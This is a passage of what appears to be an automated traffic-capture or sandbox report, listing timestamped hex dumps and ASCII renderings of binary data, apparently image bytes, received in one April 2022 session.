e8 48 f6 a6 ea cf 26 1d 37 d5 ef d9 05 d4 e8 c4 40 46 11 50 3a 58 2d 98 df 41 ed dd de 6a f3 67 5e 21 60 7c 8e a7 12 93 8f 23 22 b1 52 e4 36 84 02 6c 3e ea 6d ee d6
Data Ascii: T8HRBbLmquh=HGmayvL|mL,Fmf$2%O2!aAnRWPHneV[W|L$/qnA#0{Mr5/zT>[JcE7v2yznZ6;LXH&7@FP:X-Ajg^!`|#"R6l>m
2022-04-08 08:02:44 UTC7015INData Raw: d2 1b 83 c6 46 f6 31 08 9e 2d a7 46 24 11 6f 7d af 58 6d 8d 65 58 bd c4 95 15 54 16 90 94 3d ac 46 bf f4 d2 99 ec 29 58 99 05 6c ab db ec a9 0b 39 29 8e 33 29 3b e3 1b 90 d8 6a 1a df ab bb 56 dc 76 90 40 f4 f8 84 c7 20 44 82 73 c5 ed 66 3f 6b 55 79 8e 22 5e df 08 16 34 0f aa 91 1e de 06 c7 fc b6 a9 56 5f 10 99 99 9b d1 d3 31 82 c8 ac 18 02 2e b6 e0 7e f6 ed 7e 6e f5 74 d3 33 a7 02 50 56 36 27 d3 28 89 0b 32 8e 01 bb 3f 4d af 59 5a fb 9c b2 cb af da e0 92 3b 01 d2 f5 1f c0 06 19 0a aa 40 0f 61 a9 d2 ff 00 ab b6 8d bf c0 64 e4 3e 50 f3 2c 40 b8 07 68 d7 fd 96 92 d7 40 2b 58 d6 4b 3a ee 61 6e de 3a ff 00 6d 53 6d 08 9c 98 25 c5 bc c6 00 f6 1b 58 54 ab c7 60 30 47 e9 d8 52 39 0f 1a c8 e4 73 10 b7 e1 f1 11 5b 2c 97 4b 8c 08 1b aa 74 dc 25 c7 f2 dd cc 31 27 30
Data Ascii: F1-F$o}XmeXT=F)Xl9)3);jVv@ Dsf?kUy"^4V_1.~~nt3PV6'(2?MYZ;@ad>P,@h@+XK:an:mSm%XT`0GR9s[,Kt%1'0
2022-04-08 08:02:44 UTC7031INData Raw: 28 d4 10 39 45 bf b0 55 79 96 b7 8a c0 5c aa b7 f2 58 a9 24 77 49 bd c7 d9 51 f6 8b 43 34 e3 e1 42 4e 34 31 c4 92 31 ee 80 3b 35 6b fd b5 d3 ba ef 99 bb 10 d9 7e 36 36 24 2a 62 48 e3 54 b5 f6 5e fa 7b 92 b3 b5 ac f5 6d ff 00 10 92 d4 87 1a 31 74 55 0b 7e 28 bf ef da 2a 5d ac f8 fe 21 40 23 f4 fe 9f 30 67 5c 71 21 d7 77 29 1f 6d f8 6e ad 56 4b d7 49 8f e6 29 05 e9 9d 0b a5 2c 82 6c 6c 5f 29 f5 37 6b 82 bf f2 ad 72 e7 c9 11 6b 6e 1a 72 5f 2f a7 71 5f 20 64 c6 cc b2 86 24 15 ec 1d ab 7e da 85 ea 6c ab b5 f4 80 40 e8 aa 5c ba b3 ab 5e fa 37 13 f6 30 6d bf 86 b3 f3 f4 8f fd 01 22 cc 8c 41 20 2b b3 7b 1f 8d 89 17 1f ef a9 ad e3 b6 3e 54 10 0d 36 1a 3e cf ab 62 8b 7d a4 23 10 ba 8b 9d ab f3 56 95 bb 53 b7 5f 98 50 5d 83 2c 58 e8 b2 46 ce 50 90 2c d6 b8 24 fe 8e
Data Ascii: (9EUy\X$wIQC4BN411;5k~66$*bHT^{m1tU~(*]!@#0g\q!w)mnVKI),ll_)7krknr_/q_ d$~l@\^70m"A +{>T6>b}#VS_P],XFP,$
2022-04-08 08:02:44 UTC7039INData Raw: 63 b8 dd e6 5e e7 5e cb 0e 15 0f 15 56 ad f3 2e e9 ad 57 68 7a e3 06 4b 39 60 58 85 da 0d ad db c4 78 ab 9d db 5d 05 7b fb 8c ce a7 d1 61 cd 0e ab 2b c3 2d f9 9c 6a 4d c7 0b b7 60 f9 2b a7 16 77 48 d1 5a be 13 9c c8 e8 be 83 38 7b 96 5c 82 f1 31 b8 1a 82 a7 e2 bf c5 5d 79 fd 7e fe 0b 98 5b a0 d1 9f d3 18 6d 0a e2 6e 2c 57 c4 4d bf bb 5c f5 f5 57 4f 71 4a de f0 16 f4 76 24 6e d2 66 48 44 40 81 b4 1b ed 03 82 ad fd a7 bd b2 b7 ff 00 32 cd 45 57 31 72 bb 0d 7c 7c 9c 78 f2 47 4e 8d 19 08 42 41 b0 02 c4 f1 3f 37 de ae 4b 56 ce bb db 90 de 4a 78 a1 9f 24 e2 99 18 4a ea 1a d7 d3 f5 52 ab 75 ae e8 e5 44 4e a5 a8 cd 88 8b 1b ce a8 9c 14 91 db f7 9a a1 ad ee 62 46 cb 4c 17 8e f2 15 2a 7b 5b ed ff 00 8d 4e ed 74 11 5c 98 51 c4 5d 62 01 46 9b ac 09 24 f1 50 3e 2a a5
Data Ascii: c^^V.WhzK9`Xx]{a+-jM`+wHZ8{\1]y~[mn,WM\WOqJv$nfHD@2EW1r||xGNBA?7KVJx$JRuDNbFL*{[Nt\Q]bF$P>*
2022-04-08 08:02:44 UTC7047INData Raw: d3 06 fe 64 f0 84 1a f2 dc 7e 8f c3 5a 34 97 46 e2 22 09 e3 fd 24 c4 98 00 90 2e 8c 34 16 f6 36 be 16 a5 6d cb 8e 81 56 10 ea 87 43 12 ed 07 5d 6e 45 66 9b f7 8c b5 1e 25 e5 1a fc ba 6b 50 d3 25 91 49 e1 7e e1 5d e3 56 4b 83 6f bd 6a a7 56 b8 fd e1 26 01 9d d6 57 0e 45 8c 91 7d 2e b7 00 58 fb 3e ed 6f 4c 3b d4 91 6b c1 07 ea d0 34 e3 14 b9 59 5a c4 12 46 b7 34 d6 17 1b a3 94 cd 97 36 46 5e f2 b8 f2 24 9a db 6a ea 46 bd bb bd f5 0a b5 8d 56 d0 4c 2e 25 94 31 13 b6 c6 3a 6b 6b fe af 0d 64 da 8d 0e 94 d4 13 67 55 52 c8 c7 ef 58 f6 71 b5 4a 53 c4 c5 d8 91 c5 6d c3 c9 2a 91 83 73 71 c6 fc 69 6e f7 8d 64 1b c8 97 42 a0 58 9d 6e dc 3f 47 8b ee d3 dc 8a de 8a c9 8a 39 8c 3b ef 36 d0 da 8d 35 b8 b0 17 aa d5 a9 8e 52 93 92 99 16 2e 04 12 c7 4e 54 05 78 f8 aa d3 7e
Data Ascii: d~Z4F"$.46mVC]nEf%kP%I~]VKojV&WE}.X>oL;k4YZF46F^$jFVL.%1:kkdgURXqJSm*sqindBXn?G9;65R.NTx~
2022-04-08 08:02:44 UTC7063INData Raw: ab c7 8e b6 7a bf fa 19 ed 2c c4 ea 39 39 21 f7 37 e6 06 37 4d b6 0b fa ea 6f 8e b5 8f 77 88 a5 54 15 26 34 b9 0b b2 7b ed e2 4d 87 ea bf c3 59 2b 2a ea 81 a4 01 89 d3 f0 60 95 d6 22 09 dd a8 04 f6 7d 9d d1 5b df 25 ec 94 81 a6 3a 7c 12 ad 96 e0 7f 6f e9 ae 6f 31 a2 8a 8e 04 70 ed 31 c6 ec a0 f0 1c 3f 16 b5 5e 63 7c 5a 14 97 43 93 91 66 60 04 ab 7b 00 40 4b 7d ad c6 a1 d6 bf 2f e3 05 50 06 e9 18 d2 39 96 78 84 4f c7 62 bd c9 f6 5f c5 6a e8 f3 ac 94 27 bb e2 82 a0 c8 eb f0 3f 48 85 a4 c3 c5 68 f6 90 41 b6 a6 ff 00 f0 ae bf 4f 65 99 c5 ad 26 6d 49 e7 91 e7 e4 cf 0b 2d 9c 99 64 1b ec ba 5b b3 5f 8a f5 f4 0f 1d 6a fb 39 6b ca 56 c3 d1 3d 31 9c 45 e2 9d 5f cb 5e 64 60 2f fa cf b5 6b e7 fd 55 3b 54 49 75 46 c6 06 14 b1 39 9b 12 49 59 1a ec cb 28 04 30 1c 76 ee
Data Ascii: z,99!77MowT&4{MY+*`"}[%:|oo1p1?^c|ZCf`{@K}/P9xOb_j'?HhAOe&mI-d[_j9kV=1E_^d`/kU;TIuF9IY(0v
2022-04-08 08:02:44 UTC7079INData Raw: 5e 97 72 e6 75 a8 d5 0a db d6 6b 0c ab 1e 4b c9 11 03 71 ba 0d da ff 00 a5 6e 1f 8a 9f f8 52 a6 aa b6 fe 7c bf 38 a0 b6 7f 5c 43 e7 c6 f8 e4 48 64 5d a5 05 c8 5d 7c 5b bc 55 35 f4 2e 1c f2 ed 29 54 c0 eb de a0 97 11 a4 ca 25 a4 57 73 b4 32 3a 03 af fa 6c dc db 7e f5 77 e0 f4 ea d1 5e 1a 7b eb 6f bc 5b aa 3a 6c 6c c9 1b 15 53 68 39 00 02 50 92 36 83 ed 93 e5 af 36 d4 5b a7 bb e2 f1 7d 26 4c 0b 1f 27 a9 64 e7 49 0c f7 86 02 a3 74 ec a6 c0 d8 2e 8d c3 9e b6 b5 71 d6 89 ae 6b 7f f1 94 07 9f e9 ee a3 e6 16 c5 70 d0 48 41 5d fa 6d 1d a7 6a f0 d7 e1 ad b1 fa 8c 71 cc b9 ab e1 2c 9c 7e 9a ca 5c 46 8d c2 99 98 f7 af a8 50 7c 22 a5 fa 9a ee 95 d2 26 66 f4 9e a3 d4 fa 5e 43 63 b4 5b a3 ee 87 02 d6 fb db 6b a7 2e 3c 79 6b 33 f4 89 54 d1 cd c2 ce cd 58 9e 29 5c 5a de
Data Ascii: ^rukKqnR|8\CHd]]|[U5.)T%Ws2:l~w^{o[:llSh9P66[}&L'dIt.qkpHA]mjq,~\FP|"&f^Cc[k.<yk3TX)\Z
2022-04-08 08:02:44 UTC7086INData Raw: ec 4d fb 07 da 4d 72 ac 72 fe d2 64 c6 c5 f5 1c 73 64 ed 2c 89 1b 20 00 9e eb 30 ae cb 7a 67 5a f6 f1 fb a4 cb 27 d6 3a e4 58 70 b2 ee 08 ce a0 c6 53 b4 de a7 0e 07 77 ef 8e ad c1 ab 28 ea 90 f5 1e a9 16 dc 70 ab 19 b3 5c 35 cf db f0 d6 98 ad 8f 13 d7 8f f0 0e 05 3d 30 e5 74 cc af 23 22 17 10 32 dd 9c 90 c7 75 ac ce bb 7f d3 f9 7c 35 59 76 e4 ac a7 cd e1 f8 7c 3f 31 ad 0d ac 79 2f 79 23 62 6f dc d3 8f df ae 3b 2e c6 74 d9 e8 34 11 f5 57 47 85 e4 46 06 e5 4f 02 ad 4e cf 1a 69 a4 ce 67 64 01 0c 3d 42 06 1f 56 41 88 5e c1 18 5f ef 3b 7c b5 b5 9d 1f 4f 57 c4 66 d8 44 39 ca b3 18 09 21 82 02 0b 1d 6e 4f b7 ec ac ed 4d 27 ed 0d c5 b8 11 4d 21 12 a3 a6 d7 24 b6 f0 78 fb 5b ee d4 e4 69 68 d3 fa 42 24 cf eb 3e a3 86 13 b1 50 c9 24 6c c0 d8 1d 96 f8 f7 78 be ed 74
Data Ascii: MMrrdsd, 0zgZ':XpSw(p\5=0t#"2u|5Yv|?1y/y#bo;.t4WGFONigd=BVA^_;|OWfD9!nOM'M!$x[ihB$>P$lxt
2022-04-08 08:02:44 UTC7102INData Raw: d3 37 6d 75 01 e3 6d c0 85 d3 77 b4 b1 d2 ad 5b 27 de fb 48 91 66 e7 63 c3 1a b3 ca a1 99 d5 cd ef b8 ae bf bb 4e 98 ec de 8b ec 32 63 47 2c 05 0a 28 31 09 45 95 a2 3a bd fd 9d b4 35 69 9e ad be 3e e9 48 27 a7 74 87 c5 63 14 62 e8 a0 93 24 97 ed f6 2a ff 00 7b 96 b3 c9 99 5b 57 f7 6a 36 c1 b2 fd 3f 8d 3b 3c d2 c0 92 2c 62 e1 8e a5 8f f8 6b 5a 67 b2 d1 37 5f d2 5c 83 a6 06 37 4d 71 0e 1c 22 23 cc d6 b6 97 f8 43 b5 5b c9 6c 9a d9 ee 22 da 8d 17 50 4c bc 80 ad 04 8a e5 09 66 52 54 72 8b f3 1e eb fc 94 3c 6e 95 e3 5e 3e df 28 e8 e0 32 1c 38 73 5d 73 e0 62 d6 ba dc b9 da 6f e0 23 c5 51 6c 8e 8b 6b ff 00 b1 d2 ed 05 ef 86 a0 6e 0e b1 ca 6f 62 40 3f 85 77 56 5b e7 b3 94 c2 d9 11 07 56 8e c2 50 b3 13 63 6b 02 40 3c 1d 87 c3 a7 2d 5a ae ee 13 52 92 dd c0 ac 66 c3
Data Ascii: 7mumw['HfcN2cG,(1E:5i>H'tcb$*{[Wj6?;<,bkZg7_\7Mq"#C[l"PLfRTr<n^>(28s]sbo#Qlknob@?wV[VPck@<-ZRf
2022-04-08 08:02:44 UTC7118INData Raw: 71 3c 6e bc dc 4e df d1 b9 9d 72 28 4f f3 e9 a2 95 88 e5 08 ba 83 f3 3f 0f dd a7 4b db b4 e5 ca ab 3c a6 f4 fd 48 92 a3 b0 f6 7b eb 47 73 04 82 e1 cd 8e 7d 07 11 56 ac 98 9a 02 ea 00 12 10 0b 83 a9 d3 81 ac 6e 5d 59 e5 9f d4 a0 71 e3 39 0b cc ab 7b 81 58 3a c9 a2 61 de 94 fe ac e1 a2 e3 f4 c0 37 5d 00 2e 56 dc e7 52 a3 fc 35 d3 57 b5 41 0a 9b 98 56 2f f5 63 03 3f aa 45 d3 08 96 29 18 db 70 da 00 d7 8b 0f 86 b2 f3 d4 c1 ea 5f fe 2e d5 a6 f9 47 57 ea 7f 5d e3 7a 77 17 ea 19 84 a2 f6 e4 b1 20 fc d5 d4 f2 ed fb 4f 29 63 93 2f d1 3e a3 ea 1e a1 99 f2 dc 95 c4 02 f6 2a 45 ef dd d5 aa 2b 91 dc bc 95 ad 56 87 5d 91 e6 3a f2 7e b1 56 cc 4e 01 3d 47 d5 7a 5f 56 30 67 30 6c 4b ea ca 3c 3e d0 38 b5 63 e6 6d 67 42 aa 68 3b d4 1f d6 1e 99 d2 a4 f2 46 2c d2 ce 50 30 25
Data Ascii: q<nNr(O?K<H{Gs}Vn]Yq9{X:a7].VR5WAV/c?E)p_.GW]zw O)c/>*E+V]:~VN=Gz_V0g0lK<>8cmgBh;F,P0%
2022-04-08 08:02:44 UTC7126INData Raw: f1 6d ad 15 dc 49 30 a4 e7 7a 37 ad ba df 56 ea d0 62 f5 08 f1 e0 85 c1 6f cb 46 7b 81 e1 69 df f7 b9 6b 65 77 6f e0 55 ab 54 b4 3d 32 41 0c 68 cd 1e cf 33 8f 36 83 fb 35 ad 9a 51 a1 ca 8a b2 b2 8c 10 ef 5b 31 07 50 2f 7b 56 76 70 86 90 3c 5d 45 d2 31 2e c3 cf 76 f7 d8 f0 d2 b3 ad 9a d4 a6 8a a3 ea 98 48 0f f3 39 d2 10 ed 70 19 b6 13 6f 66 b5 b5 1a 7c 44 ea fb 0c 9f 51 7f 52 7a 7f 4e ff 00 f4 19 23 c9 57 b0 21 18 97 17 d1 7c bd 36 b8 f8 b9 b9 69 bb d5 70 2e b8 db e2 57 d2 a0 19 90 4b 8f 9c 4e 67 d4 3b 6c 4d 2c 14 8d 55 ad ec f8 eb 1a e8 c2 c5 19 de 81 f4 df 4f 28 d9 71 b0 77 3c a1 64 63 a8 f6 01 f0 d6 af 97 88 ab 2f 80 4f a7 3d 21 89 83 78 a3 c8 c8 26 fe 62 f9 8d b5 8a 93 71 f8 16 a2 b5 6d c8 ed 6e c3 33 aa fa 07 a2 66 4e d9 3b 07 9c a7 71 90 10 79 81 dc
Data Ascii: mI0z7VboF{ikewoUT=2Ah365Q[1P/{Vvp<]E1.vH9pof|DQRzN#W!|6ip.WKNg;lM,UO(qw<dc/O=!x&bqmn3fN;qy
2022-04-08 08:02:44 UTC7142INData Raw: 38 ed 35 2b fa a7 91 ca f0 03 b3 db 55 b1 24 52 66 86 1e 78 c3 08 e3 57 2d 61 59 aa ee 66 b5 70 7b 9f a7 f1 53 a9 7a 6e 18 3a be 0a 65 f4 fc 82 c8 b2 a9 1b e0 37 da 5b 5e 71 6e f2 ec ae d5 5d a8 56 52 cf 29 eb 7f d3 7c ae 87 94 f8 11 7f e5 62 e4 02 d1 48 96 b3 a8 e3 df d1 24 8e b8 b3 e5 d9 cc f4 da 73 66 4e ba 97 ff 00 49 70 25 e9 f9 39 98 b3 0d af e5 80 40 37 b5 cd f8 d3 cb 91 64 8b 22 f1 39 52 73 3f d4 02 fd 3f 39 9d ed a8 09 60 7d 95 bf a7 5b 94 13 7e 27 14 f1 38 c9 dc 4e 85 b4 ae f4 d6 d2 05 95 94 bd 3b 2c 98 56 e5 c5 d8 1e 14 f1 ad f5 d4 4c ca ea 99 0d 93 67 61 6a e9 c7 5d a4 d8 e8 fd 2a 0c 18 85 fb 09 b9 fb 38 57 9f ea 6d 36 36 c7 c0 b4 66 19 19 63 bf 74 5b f4 9e 37 a9 db 05 26 75 dd 38 a3 63 dd 89 07 d9 ed b5 72 33 43 a8 eb dd 4d 5f 2e 39 49 21 63
Data Ascii: 85+U$RfxW-aYfp{Szn:e7[^qn]VR)|bH$sfNIp%9@7d"9Rs??9`}[~'8N;,VLgaj]*8Wm66fct[7&u8cr3CM_.9I!c
2022-04-08 08:02:44 UTC7158INData Raw: df 9a bb 76 fc 35 cb b3 66 af bd cd f1 56 de 1f 09 16 45 fe b1 c6 c6 87 a5 ce 19 e2 57 31 ac 8b 10 b1 22 fd d6 1e cb db 76 d5 db 47 a4 b3 77 ab e6 ea db 63 4a 2d 4c 0f 45 b8 c7 e9 21 fa 73 b7 d6 9b 1e 6d 54 1b f8 50 f2 72 03 de ef 7c 35 d7 eb 79 b2 c5 d7 fb 63 bb d4 ea 72 20 c7 78 25 c2 3b 32 9e 40 76 f1 05 74 bf e6 4a bc e5 f7 5e bc ba da db 95 b5 c7 1f 8b e5 a1 9a 5e e3 cc ba df 4f c6 c2 e9 11 a2 06 8b 20 e4 1d d1 5e ea b6 5e f4 6c 79 9b 77 8a be 9b 05 ed 7c 8d be 6a ec ea ef 71 ef 1d 18 fd ec d9 c1 cc c4 eb b2 e1 74 b9 b2 95 21 8a 12 c2 35 b9 bb db f8 6d dd e6 2d f3 57 2b c5 6c 5b ae 97 35 ed d7 f0 19 f0 39 1e a1 87 91 9f e6 e1 62 46 fe 64 45 d9 a3 e2 c0 0d 2d f3 5a bd 4c 76 58 e2 d6 ef 47 31 76 b1 b3 d2 3d 08 b3 74 c8 3a 8f 4d cb f3 32 2c 59 a2 60 05
Data Ascii: v5fVEW1"vGwcJ-LE!smTPr|5ycr x%;2@vtJ^^O ^^lyw|jqt!5m-W+l[59bFdE-ZLvXG1v=t:M2,Y`
2022-04-08 08:02:44 UTC7166INData Raw: ab 3e 10 93 27 14 84 93 55 1a 5f bd 75 6e 3f 2e ea d9 e3 dc d2 64 59 95 74 8c 96 f2 5a fa 84 37 3f 65 56 6a 6a 09 c1 6f 49 f5 36 5f 4a 8d d3 0c aa 99 0d d9 ac 0b 7d 83 e1 a8 cd e9 ab 95 a7 6e e9 ce ce f2 2f 5c b6 66 62 95 23 2a 18 a3 8c f9 7b 4e e7 6b 59 d8 de e3 74 7f 13 57 87 6f 43 b6 bf fc 76 b3 b7 3f 82 bf d4 29 3b 0e 9d 92 91 4a f2 09 0e f9 ec cb 8e 54 16 d4 5d 96 2e dd 96 e7 65 af 1f 25 5b 49 47 47 fe ef ef 17 13 43 a9 a6 1e 1c fb 98 99 24 66 dd 12 f0 b9 51 c9 7b 73 7c 55 8e 37 6b 2d 34 f1 07 13 c8 3d 4f d4 db 3b aa cf 9e 4e e2 d9 07 98 8e 36 af b0 c1 56 a8 93 f0 9d 28 f6 0f 4c 63 63 e0 74 f8 08 21 a4 90 6a 14 9b b5 f5 6f ba 23 f1 7c 55 f2 5e aa 6f 7b 37 dd 39 ec f5 34 b3 88 62 24 02 f1 31 21 09 16 20 78 59 7e 1a e3 a6 82 25 89 90 f3 1b 36 e5 07 81
Data Ascii: >'U_un?.dYtZ7?eVjjoI6_J}n/\fb#*{NkYtWoCv?);JT].e%[IGGC$fQ{s|U7k-4=O;N6V(Lcct!jo#|U^o{794b$1! xY~%6
2022-04-08 08:02:44 UTC7174INData Raw: 6b 5d 37 5b 45 20 f7 99 7f 4f ee d6 57 a5 56 af ee f8 88 b2 80 25 e9 21 72 17 c9 25 91 d8 06 6b 9d 48 f0 ee e0 cd f2 d5 2c 92 b5 fb a0 b5 36 25 c1 10 ca 99 c2 31 0e c6 55 3b 79 89 be 9c ca 7c 3f 2d 73 d7 2e ee 02 7a 13 39 30 c4 4e 42 90 77 bb 3b 48 a6 c0 91 cb b1 d4 77 53 e4 ac de ec 8f 5f ba 34 d3 25 9f 14 b9 33 38 c8 09 11 51 70 22 b0 dc 34 3b b8 bf 2d b9 bf 76 b5 c9 ca 26 43 ab 44 e7 6c 58 ab e6 b4 89 dd 6b 68 4d d9 5e fe 1e f7 76 b2 c5 0b 8e 80 0b 8e 72 a1 3b b3 14 9c 70 2e c4 10 42 db c2 f5 a5 9a bf 4b e6 27 89 4c 5b 16 77 c9 11 79 ba 9e de e9 e1 a2 fb 3c 7b 5b 75 74 e2 b2 aa d4 46 0c be 94 e9 53 4d 24 dd 39 24 58 e6 63 b8 17 d0 df 4d ee 76 f2 7d ef c3 5d 36 f5 97 ed ee f4 f8 be 5f 88 86 da 34 a5 e8 f1 a1 38 b8 16 c6 90 46 f0 c6 06 ed a0 37 f1 19 bc
Data Ascii: k]7[E OWV%!r%kH,6%1U;y|?-s.z90NBw;HwS_4%38Qp"4;-v&CDlXkhM^vr;p.BK'L[wy<{[utFSM$9$XcMv}]6_48F7
2022-04-08 08:02:44 UTC7190INData Raw: fd ea f2 b1 60 76 4d ae 68 43 57 4b 41 f3 80 4b 49 b8 33 44 14 ae db 0b 1e de 51 e0 db f1 d6 de 9d 4a 6c ba b6 c0 e3 76 ca 95 25 9d 4a ab ea c4 36 e0 ca 48 5e ef cd dd a6 fb 41 e9 a8 f3 64 47 0e 7a c3 8d 8e 51 11 1e ee 0d d3 86 e5 d3 f7 7e f5 6e 95 72 56 67 e9 2b b0 82 8c 51 8a b2 b2 b1 96 fb d9 85 cd 89 f9 cf 76 de 15 ae 59 b6 e8 5f 29 0a c2 58 e0 cc 58 da 65 b2 b2 c8 c3 42 2c da 73 ba fc df 17 ec d7 56 a9 37 f9 4a 7c 0a e1 44 c6 8d 47 7b cb dc 1a fd 87 e2 ae 7b 4d 9f f1 32 6c 37 31 a0 68 4e 44 76 88 85 1a 2f 33 5c f1 da a9 f8 77 7d ea ce a9 c9 45 38 38 f8 ae a3 33 21 87 94 01 0c 57 4b 8e f1 f7 b3 86 f0 f8 6b 55 92 d4 b6 d5 da 35 f6 83 a6 66 3c 72 b2 e2 96 f2 80 e5 02 c5 98 fc 52 33 77 f7 f8 9a b6 56 b2 d7 db e5 16 e9 60 ed 8d f5 88 01 4f cf 62 0c 92 69
Data Ascii: `vMhCWKAKI3DQJlv%J6H^AdGzQ~nrVg+QvY_)XXeB,sV7J|DG{{M2l71hNDv/3\w}E883!WKkU5f<rR3wV`Obi
2022-04-08 08:02:44 UTC7206INData Raw: 9e 04 9f 1a 7d 95 d5 95 4d 14 17 06 fe 36 2c f8 f3 3f 92 fb c9 bb 28 20 dc 10 4e ad f2 fc b5 83 aa b7 14 49 ac 52 1c 5c 68 a3 70 4a 4c f6 6e 4b 05 65 d5 9c df 9b 95 bb b5 9b dd 31 a6 c5 f8 8c 9a 28 cd c0 18 70 ef 4d 86 c3 73 ed 6d a6 c0 df 9a 4e f7 e8 a8 ad 1b 7a 33 3e 00 98 21 32 ca c9 d3 18 6d d0 ed ec 07 c5 cd f7 bb bf 1d 2b 51 ce d6 3e 06 b6 6c e7 0b 6c 08 ed 24 ef c7 55 2a 4f b0 f8 77 37 ed ed a7 0a 9c 09 e2 60 f4 ff 00 50 26 76 53 63 21 0b 3a 6f 50 41 22 35 24 73 38 dd ca a7 e6 ad 9e 2b 25 3d db 12 3e 2a 4b 90 15 fc e1 1b a3 ac 6d bb 83 00 0d cf ea fe 1f de ac 32 35 5e 2b 77 84 4d 03 e7 cb 95 83 2b c9 18 12 42 ea 14 34 7b 5f 98 5c 59 3e 6a aa 56 b6 50 f4 b2 f1 72 fd e0 2e cd eb 79 33 62 e3 b3 45 1a 20 4e 66 1a 06 37 1b 77 8f 0b a6 df da ad ad b6 dc
Data Ascii: }M6,?( NIR\hpJLnKe1(pMsmNz3>!2m+Q>ll$U*Ow7`P&vSc!:oPA"5$s8+%=>*Km25^+wM+B4{_\Y>jVPr.y3bE Nf7w
2022-04-08 08:02:44 UTC7214INData Raw: e5 44 93 f7 d9 40 2a a1 7b 9a af 36 ef ef 52 b3 dd c0 4d c9 57 50 59 32 22 7c 91 19 7c 86 fe 25 8d f4 43 f9 7c 80 72 c9 b7 bd bb 92 9d 1d 53 4a 62 bd df ab a8 5a 20 ac 4f 32 25 f2 50 49 22 ca b6 db 21 0d 71 6d c0 47 bb ba cb 52 dc fb be 91 a2 ac 5c 84 ea 19 48 a4 12 63 70 0c 8c 7c 03 6e e6 dc bd df 15 69 5c 70 a3 de 26 8d 4c e3 8f 06 4c 99 f1 22 64 4a 59 96 36 53 7d b6 ed d8 ba 8f 87 9e a6 f2 9e d9 5b 09 44 7a 3c 19 12 99 b2 42 6c 4b b3 6e 60 00 d7 88 e6 f7 ee e5 4a c3 35 77 15 77 2c 94 19 90 e5 64 63 8c 82 d0 22 15 56 b1 b2 b2 f8 99 7c bf 87 e0 f1 51 8f 1d 6b c7 59 7f 74 c9 98 f8 fd 2f f9 57 54 9b 27 16 12 d8 6e c4 44 18 5d 95 87 74 3b b7 71 bc 7f e5 ae dc d9 55 eb a3 88 fc a6 89 e8 1f d1 f0 f0 f2 b3 a5 79 04 9f 50 b2 6d 11 a3 5c ca 74 f8 f7 30 2f f1 77
Data Ascii: D@*{6RMWPY2"||%C|rSJbZ O2%PI"!qmGR\Hcp|ni\p&LL"dJY6S}[Dz<BlKn`J5ww,dc"V|QkYt/WT'nD]t;qUyPm\t0/w
2022-04-08 08:02:44 UTC7230INData Raw: 6d 6d d2 20 1c ec 97 ee 72 d7 4e 3a 43 95 d7 f6 8a 0e ae 47 8d d0 ae 19 12 2a 91 e6 2c c0 12 49 ef 16 e1 e2 ee a2 d7 22 51 79 68 a3 23 ae 60 8c 18 2d 23 03 8c a4 15 29 7b 06 3c 17 6b 73 33 29 ef 77 ab 75 5e 6e 5e 6d c4 59 82 43 8c ea 22 8d ca c6 c8 d7 04 82 6f af 10 bf dd f8 a9 2b 29 6c db 1e 88 d2 86 4c cc 50 d3 1d d2 46 77 15 62 db 4e bd d6 61 ed ac ed 74 f4 9d a3 6c cd 79 e4 cb 46 9a 32 ea de 51 0b 23 31 24 b5 fb 80 5b e2 ee b5 6e a5 3f e7 cd f2 8e a6 96 36 1c 88 40 ea 5b 25 9c 11 20 08 2f b5 ad b4 05 73 dd b7 8b e2 a8 cb 9d f6 2e 4f b4 a9 35 64 e8 d0 75 08 f7 64 b0 56 7d 42 c4 d6 bd 9b 72 a4 d2 1f 9b c2 bd da df 14 35 3e f2 60 c8 cc 8f ce cf 78 b2 e3 31 c2 79 ca 30 ba dd 47 96 ee d6 d9 b5 2d c9 f1 b5 45 da 9d 1f 36 ed 82 80 07 e9 98 58 c2 6c ec 79 24
Data Ascii: mm rN:CG*,I"Qyh#`-#){<ks3)wu^n^mYC"o+)lLPFwbNatlyF2Q#1$[n?6@[% /s.O5dudV}Br5>`x1y0G-E6Xly$
2022-04-08 08:02:44 UTC7246INData Raw: 27 10 60 c3 14 d2 bb 16 97 76 e0 a9 1d fb 13 c4 13 77 c4 d5 74 ca ad ab 5f 27 7b 98 aa a0 2e a7 95 30 ea 41 33 ef 8e 5b f8 6a b2 0b 8d a7 46 d9 fc 24 49 3c 3b fe 1d b4 28 86 ea a7 c5 cb f9 7b dc a5 34 6a 2c d3 62 c8 89 90 26 94 ca e0 24 8c 8a 4a b7 b7 f2 46 ca e7 cc d6 59 b2 ec fa 77 57 ea 12 40 dd 5f 0d 11 55 72 02 31 7b f9 60 9d 3b 77 ef f8 94 72 fe 2a 8c 57 6f 84 fc 5f d2 6b c4 d3 87 3b 1e 16 55 44 54 8e 08 c8 02 f7 bb db 94 58 ee 7e 70 bb b6 a7 35 6b b1 64 45 aa e9 a1 9d d0 fa a7 51 81 bc e9 a1 59 e7 04 84 2d ca c0 11 bb f2 d1 fb dc dc ab fb 55 6d d3 15 a6 af 6f e2 a8 ec d5 74 0e 7f 52 47 2e d1 d4 22 7c 8b b5 a5 f2 f6 90 8f c0 23 af 68 5f 13 ee ae aa dd 37 2f fb 8a 94 80 a1 c6 68 72 04 84 5e 15 24 01 7e 23 41 e6 72 eb 6e ed 3c 2b 89 58 fe d3 77 a3 64
Data Ascii: '`vwt_'{.0A3[jF$I<;({4j,b&$JFYwW@_Ur1{`;wr*Wo_k;UDTX~p5kdEQY-UmotRG."|#h_7/hr^$~#Arn<+Xwd
2022-04-08 08:02:44 UTC7254INData Raw: 47 b4 0b a3 f5 bc 33 d5 95 5e 15 92 44 04 24 92 48 7b c3 5b c6 bf 1b 7c ed 5b e6 c1 6f 2b 8e d9 ea ad 6b dd f8 85 10 6b 75 29 33 5d 64 92 49 a4 86 24 22 44 0c 03 02 46 bb 6c de 1f 7d 73 63 75 4d 42 56 b7 49 52 98 34 31 e0 f5 18 c7 57 cc 91 b1 67 da 49 8b 60 da db 47 2b 69 f1 fe d3 57 4e 5b d9 3d aa 2f a8 9f d8 0b 8e d2 4c d0 e4 4b 33 63 c8 cd 75 12 21 0a c9 71 7d b6 e5 4f 87 99 3f 15 4d 92 49 a4 b7 fc af 9b 78 f6 87 f5 c2 32 e2 77 8f 77 d6 85 31 ee 5b 59 96 fc aa aa da ed b7 35 63 e9 f9 1e bf f8 fa 82 0d 6e 8e 23 86 33 87 8f 28 c8 ca 24 ac 8d 36 d6 70 db 77 6d 8e c5 95 76 af c3 51 e6 5f c2 ab 57 d1 b4 ab 3d 0a d7 15 a3 78 af 72 5b 9b 78 7b 96 6e 